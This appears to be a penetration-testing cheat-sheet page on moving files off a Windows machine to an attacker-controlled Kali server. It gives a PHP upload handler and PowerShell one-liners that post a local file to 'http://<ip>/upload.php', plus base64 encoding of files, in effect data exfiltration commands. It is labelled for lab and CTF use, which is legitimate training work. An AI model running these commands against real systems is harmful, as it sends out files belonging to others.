Skip to content

Upload From Windows

Quiet Methods

SMB - SMB

WinRM - Remote Execution Tools

Noisy Methods - Lab/CTF Use

Upload to a web server (PHP handler)

Server (Kali)

Create /var/www/upload.php:

<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
?>

Prepare directory and start Apache:

mkdir -p /var/www/uploads
sudo chown www-data:www-data /var/www/uploads
sudo systemctl start apache2

Client (Windows)

PowerShell 7+ (multipart/form-data):

Invoke-RestMethod -Uri http://<ip>/upload.php -Method Post -Form @{ file = Get-Item '<path_to_file>'; }

Windows PowerShell 5.1:

powershell -Command "(New-Object System.Net.WebClient).UploadFile('http://<ip>/upload.php','POST','<path_to_file>')"


Base64 Encode

$bytes = [IO.File]::ReadAllBytes('<path_to_file>'); [Convert]::ToBase64String($bytes)